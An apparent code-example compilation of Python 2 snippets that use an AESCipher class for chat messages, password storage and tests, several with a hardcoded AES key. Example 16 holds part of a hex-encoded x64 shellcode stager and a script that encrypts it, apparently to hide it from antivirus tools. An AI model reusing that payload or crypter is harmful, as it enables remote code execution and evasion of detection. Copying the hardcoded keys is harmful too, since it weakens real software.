Esempio n. 1
0
    def addPassword(self, new_account, new_password):
        print new_account, new_password

        if new_account == "" or new_password == "":
            self.ids.add_password_status.text = "Text Input Empty"
            return

        try:
            cipher = AESCipher("nv93h50sk1zh508v")

            try:
                encrypted_password = cipher.encrypt(new_password)
            except Exception, e:
                print e
                self.ids.add_password_status.text = "Unable To Encrypt Password"
                return

            commandData = json.dumps({
                "action": "CRUD",
                "subaction": "CREATE",
                "entry": {
                    "account": new_account,
                    "accountPassword": encrypted_password
                }
            })
            recvJsonData = self.parent.clientConnection.send_receive(
                commandData)
            PasswordCreate(self.parent.db, self.loggedInUser, new_account,
                           encrypted_password)
            self.ids.add_password_status.text = "Password Added"
            self.screenRedirect("main_screen_online")
Esempio n. 2
0
 def send(token):
     username = token.struct['receiver']
     key = self.serverRegistry.sRegistry[username]['private_key']
     socket = self.serverRegistry.sRegistry[username]['socket']
     cipher = AESCipher(key)
     msg = cipher.encrypt(repr(token))
     self.serverSocket.sendto(msg, socket)
    def process_outgoing_message(self, msg_raw, originates_from_console=False):
        '''
        Process an outgoing message before Base64 encoding

        :param msg_raw: raw message
        :return: message to be sent to the server
        '''
        
        # if the message has been typed into the console, record it, so it is never printed again during chatting
        if originates_from_console == True:
            # message is already seen on the console
            m = Message(
                owner_name=self.manager.user_name,
                content=msg_raw
            )
            self.printed_messages.append(m)

        # process outgoing message here
        '''
        f = open(str(self.get_id()) + 'Key.txt', 'r')
        group_key = f.read()
        f.close()
        print "THIS IS THE READ-IN GROUP KEY"
        print group_key
        aes_group = AESCipher(group_key)
        print aes_group.key
        '''
    
        aes_group = AESCipher(self.group_key)

        # generate message key
        #message_key = generateKey()
        #aes_message = AESCipher(message_key)

        # encrypt message key using group key
        #e_message_key = aes_group.encrypt(message_key)

        #add timestamp to message
        message = msg_raw + " (Message sent at: " + str(datetime.datetime.utcnow()) + ")"

        # encrypt message with message key
        e_message = aes_group.encrypt(message)

        # get private key
        owner = str(self.manager.user_name).lower()
        key = RSA.importKey(open(owner + "PrivKey.pem").read())
        h = SHA256.new()
        h.update(e_message)
        signer = PKCS1_PSS.new(key)
        signature = signer.sign(h)

        encrypted_data = str(e_message) + str(signature)

        # example is base64 encoding, extend this with any crypto processing of your protocol
        encoded_msg = base64.encodestring(encrypted_data)
        
        # post the message to the conversation
        self.manager.post_message_to_conversation(encoded_msg)
    def test_client_crud_password_logged_out(self):

        connection = self.connect(IP, PORT)

        cipher = AESCipher("nv93h50sk1zh508v");

        try:
            encrypted_password = cipher.encrypt(self.new_password)
        except Exception, e:
            self.assertFalse(True, e)
Esempio n. 5
0
def send(msg, s):
    print msg
    key = connected_sockets[msg['response']['receiver']]['private_key']
    cipher = AESCipher(key)
    msg = json.dumps(msg)
    msg = cipher.encrypt(msg)
    print ""
    print msg
    print ""
    s.send(msg)
    def test_client_crud_password_logged_out(self):

        connection = self.connect(IP, PORT)

        cipher = AESCipher("nv93h50sk1zh508v")

        try:
            encrypted_password = cipher.encrypt(self.new_password)
        except Exception, e:
            self.assertFalse(True, e)
    def test_client_crud_create_password(self):

        connection = self.connect(IP, PORT)
        response = connection.send_receive(json.dumps({"action" : "LOGIN", "username":self.username, "password":self.password}))

        cipher = AESCipher("nv93h50sk1zh508v");

        try:
            encrypted_password = cipher.encrypt(self.new_password)
        except Exception, e:
            self.assertFalse(True, e)
    def addPasswordLocal(self, new_account, new_password):
        if new_account == "" or new_password == "":
            self.ids.add_password_status.text = "Text Input Empty"
            return

        cipher = AESCipher("nv93h50sk1zh508v")

        try:
            encrypted_password = cipher.encrypt(new_password)
        except Exception, e:
            self.ids.add_password_status.text = "Unable To Encrypt Password"
            return
Esempio n. 9
0
    def send_message(self, contact, message):
        print("sending message " + message + " to contact " + contact + ".")

        if self.contacts.get(contact) is not None:
            key = self.contacts.get(contact)

            enc = aes.encrypt(key, message)

            self.sender.sendto(enc, (contact, self.port))
        else:
            print(
                "Unable to send message: AES key was not established successfully."
            )
    def test_client_crud_create_password(self):

        connection = self.connect(IP, PORT)
        response = connection.send_receive(
            json.dumps({
                "action": "LOGIN",
                "username": self.username,
                "password": self.password
            }))

        cipher = AESCipher("nv93h50sk1zh508v")

        try:
            encrypted_password = cipher.encrypt(self.new_password)
        except Exception, e:
            self.assertFalse(True, e)
Esempio n. 11
0
 def input_loop():
     user_input = raw_input(self.username + '> ')
     if user_input.startswith('/'):
         args = user_input.split(' ')
         if args[0] == '/send_to':
             receiver = args[1]
             Kreceiv = self.clientRegistry['receiver']['private_key']
             cipher = AESCipher(Kreceiv)
             message = args[2:]
             message = cipher.encrypt(message)
             # send(Message(receiver, self.username, message))
             send(Command(self.username, receiver, '/send_to', message))
         else:
             send(Command(self.username, '/send_to', message))
     else:
         print "Please issue a command."
    def addPassword(self, new_account, new_password):
        print new_account, new_password

        if new_account == "" or new_password == "":
            self.ids.add_password_status.text = "Text Input Empty"
            return

        try:
            cipher = AESCipher("nv93h50sk1zh508v");

            try:
                encrypted_password = cipher.encrypt(new_password)
            except Exception, e:
                print e
                self.ids.add_password_status.text = "Unable To Encrypt Password"
                return
            
            commandData = json.dumps({"action" : "CRUD", "subaction" : "CREATE", "entry" : {"account" : new_account, "accountPassword" : encrypted_password}})
            recvJsonData = self.parent.clientConnection.send_receive(commandData)
            PasswordCreate(self.parent.db, self.loggedInUser, new_account, encrypted_password)
            self.ids.add_password_status.text = "Password Added"
            self.screenRedirect("main_screen_online")
Esempio n. 13
0
 def send(msg):
     key = connected_sockets[msg['receiver']]['private_key']
     cipher = AESCipher(key)
     msg = cipher.encrypt(json.dumps(msg))
     self.socket.send(msg)
Esempio n. 14
0
def send(msg):
    msg = json.dumps(msg)
    cipher = AESCipher(Kc)
    msg = cipher.encrypt(msg)
    s.send(msg)
Esempio n. 15
0
            message = cipher.decrypt(msg['response']['msg'])
            print user, '<', sender + ':', message
        print msg['response']['messagecontent']


# start listening asynchronously
thread.start_new_thread(receive_loop, ())

while 1:
    user_input = raw_input(username + '> ')
    if user_input.startswith('/'):
        args = user_input.split(' ')
        if args[0] == '/send':
            args.insert(1, recipient)
            cipher = AESCipher(users_info[recipient]['private_key'])
            msg = cipher.encrypt(' '.join(args[2:]))
            del (args[2:])
            args.append(msg)
            send({
                'sender': username,
                'messagetype': 'command',
                'command': args[0],
                'args': args[1:]
            })
    else:
        if recipient == '':
            send({
                'messagetype': 'message',
                'messagecontent': user_input,
                'sender': username,
                'receiver': ''
Esempio n. 16
0
buf += "\x89\xf9\x41\xba\xb7\xe9\x38\xff\xff\xd5\x4d\x31\xc0"
buf += "\x48\x31\xd2\x48\x89\xf9\x41\xba\x74\xec\x3b\xe1\xff"
buf += "\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75\x6e\x4d\x61"
buf += "\xff\xd5\x48\x81\xc4\xb0\x02\x00\x00\x48\x83\xec\x10"
buf += "\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9"
buf += "\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x48\x83\xc4\x20\x5e"
buf += "\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58"
buf += "\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff"
buf += "\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0"
buf += "\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff"
buf += "\xd5\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xe1\x41"
buf += "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56"
buf += "\xff\xd5"

if sys.argv[1].strip() == 'no':
    print buf
else:
    key1 = '1'
    key2 = '2'
    while True:
        key1 = getpass.getpass("Please enter password: "******"Please re-enter password: "******"passwords not matching. please try again..."
    key = key1
    aes = AESCipher(key)
    encrypted = aes.encrypt(buf)
    print print_in_hex(encrypted)
Esempio n. 17
0
def send(msg, s):
    key = connected_sockets[msg['response']['username']]['private_key']
    cipher = AESCipher(key)
    msg = json.dumps(msg)
    msg = cipher.encrypt(msg)
    s.send(msg)
Esempio n. 18
0
 def send(token):
     cipher = AESCipher(self.serverSharedKey)
     msg = cipher.encrypt(repr(token))
     self.socket.send(msg)